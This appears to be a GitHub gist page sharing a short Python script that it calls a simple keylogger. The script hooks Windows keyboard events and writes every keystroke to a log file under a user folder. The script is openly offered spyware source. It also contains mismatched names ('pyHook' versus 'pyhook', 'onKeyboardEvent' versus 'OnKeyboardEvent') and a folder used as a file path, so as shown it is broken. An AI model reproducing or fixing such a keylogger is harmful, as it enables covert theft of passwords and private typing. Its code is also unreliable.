Skip to content

Instantly share code, notes, and snippets.

@rivermont
Created August 21, 2017 12:02
Show Gist options
  • Save rivermont/7c1e43d729aec35961d13673ae73d271 to your computer and use it in GitHub Desktop.
Save rivermont/7c1e43d729aec35961d13673ae73d271 to your computer and use it in GitHub Desktop.
A simple Python (2?) keylogger originally built by Tinkernut.
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\User'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyhook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment